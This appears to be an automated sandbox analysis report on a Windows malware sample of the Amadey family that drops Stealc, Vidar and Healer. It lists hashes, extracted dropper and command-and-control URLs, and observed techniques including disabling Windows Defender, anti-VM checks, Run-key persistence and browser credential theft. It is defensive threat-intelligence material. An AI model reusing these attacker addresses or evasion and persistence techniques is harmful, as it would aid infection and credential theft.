amadey | 0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1

Analysis

max time kernel
110s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
24/03/2025, 07:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
Size

938KB
MD5

3c9fe35d228454d41a439411bb05736b
SHA1

6757675488a29b5031507d5924fa9fcc52c02f6d
SHA256

0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1
SHA512

8803b09c53533308e7d9dd8810136bece13335896c7a125b7a05ebd315bdb7151d7b81fbf167a7378f33ba97020668dd35fc406faee5ac6fc4959745b066e7fd
SSDEEP

24576:DqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:DTvC/MTQYxsWR7a03

Score

10^/10

amadey healer stealc vidar 092155 trump credential_access defense_evasion discovery dropper execution exploit persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/1916-18165-0x0000000000400000-0x000000000086B000-memory.dmp	family_vidar_v7

Detects Healer an antivirus disabler dropper 3 IoCs

resource	yara_rule
behavioral2/memory/7536-17296-0x00000000000E0000-0x0000000000514000-memory.dmp	healer
behavioral2/memory/7536-17297-0x00000000000E0000-0x0000000000514000-memory.dmp	healer
behavioral2/memory/7536-18075-0x00000000000E0000-0x0000000000514000-memory.dmp	healer

Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b9de9b42de.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e231945775.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
23	6004	powershell.exe
108	4444	powershell.exe
193	2848	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe
880	powershell.exe
4228	powershell.exe
6004	powershell.exe
4444	powershell.exe
2848	powershell.exe
4004	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 13 IoCs

flow	pid	Process
287	5264	svchost.exe
563	540	rapes.exe
563	540	rapes.exe
563	540	rapes.exe
563	540	rapes.exe
23	6004	powershell.exe
193	2848	powershell.exe
250	540	rapes.exe
326	540	rapes.exe
376	540	rapes.exe
30	540	rapes.exe
108	4444	powershell.exe
199	540	rapes.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3212	takeown.exe
1020	icacls.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\gT633W1y_4416\ImagePath = "\\??\\C:\\Windows\\Temp\\gT633W1y_4416.sys"	tzutil.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 16 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
13200	chrome.exe
3656	chrome.exe
7828	msedge.exe
7840	msedge.exe
1392	chrome.exe
12508	msedge.exe
6436	chrome.exe
9508	msedge.exe
7528	chrome.exe
12856	chrome.exe
6440	chrome.exe
4532	msedge.exe
9476	msedge.exe
12960	chrome.exe
11232	chrome.exe
6608	chrome.exe

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e231945775.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b9de9b42de.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e231945775.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b9de9b42de.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	11.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	11.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	zx4PJh6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE

Deletes itself 1 IoCs

pid	Process
5856	w32tm.exe

Executes dropped EXE 24 IoCs

pid	Process
4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
540	rapes.exe
1084	rapes.exe
5980	cUpXaxB.exe
5188	apple.exe
5276	11.exe
4060	11.exe
5648	Jq0hGDZ.exe
6060	599ef6a334.exe
3224	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
4608	483d2fa8a0d53818306efeb32d3.exe
908	OkH8IPF.exe
5500	y0u3d_003.exe
2364	tK0oYx3.exe
4416	tzutil.exe
5856	w32tm.exe
13276	rapes.exe
6792	zx4PJh6.exe
8016	cUpXaxB.exe
6100	Jq0hGDZ.exe
11440	Organizations.com
11840	e231945775.exe
12408	b9de9b42de.exe
7376	3287498fbb.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	e231945775.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	b9de9b42de.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Wine	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3212	takeown.exe
1020	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows Service 8670 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\10317340101\\Jq0hGDZ.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows Service 4377 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\10318460101\\Jq0hGDZ.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e231945775.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10318510101\\e231945775.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b9de9b42de.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10318520101\\b9de9b42de.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3287498fbb.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10318530101\\3287498fbb.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\599ef6a334.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10317930101\\599ef6a334.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10317940121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000b0000000242c4-134.dat	autoit_exe
behavioral2/files/0x000600000001fd63-17229.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
10056	tasklist.exe
10292	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
540	rapes.exe
1084	rapes.exe
3224	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
4608	483d2fa8a0d53818306efeb32d3.exe
13276	rapes.exe
11840	e231945775.exe
12408	b9de9b42de.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 908 set thread context of 3336	908	OkH8IPF.exe	215
PID 2364 set thread context of 680	2364	tK0oYx3.exe	224

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\InvestingTr	zx4PJh6.exe
File opened for modification	C:\Windows\OfficeForbes	zx4PJh6.exe
File created	C:\Windows\Tasks\rapes.job	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
File opened for modification	C:\Windows\NecessityInfections	zx4PJh6.exe
File opened for modification	C:\Windows\GuaranteesFear	zx4PJh6.exe
File opened for modification	C:\Windows\CylinderPair	zx4PJh6.exe
File opened for modification	C:\Windows\VancouverPulse	zx4PJh6.exe
File opened for modification	C:\Windows\SheDrum	zx4PJh6.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4772	sc.exe
5264	sc.exe
4008	sc.exe
4360	sc.exe
4444	sc.exe
2272	sc.exe
5476	sc.exe
4624	sc.exe
4820	sc.exe
3428	sc.exe
4424	sc.exe
5296	sc.exe
4532	sc.exe
5236	sc.exe
2328	sc.exe
1556	sc.exe
4560	sc.exe
464	sc.exe
2364	sc.exe
3000	sc.exe
4976	sc.exe
3676	sc.exe
1192	sc.exe
5908	sc.exe
2088	sc.exe
3580	sc.exe
3816	sc.exe
5736	sc.exe
1376	sc.exe
4844	sc.exe
2668	sc.exe
5336	sc.exe
3308	sc.exe
6060	sc.exe
5872	sc.exe
112	sc.exe
2744	sc.exe
4668	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3640	11440	WerFault.exe	253

System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e231945775.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	599ef6a334.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zx4PJh6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	3287498fbb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b9de9b42de.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cUpXaxB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	y0u3d_003.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Organizations.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3287498fbb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cUpXaxB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	3287498fbb.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
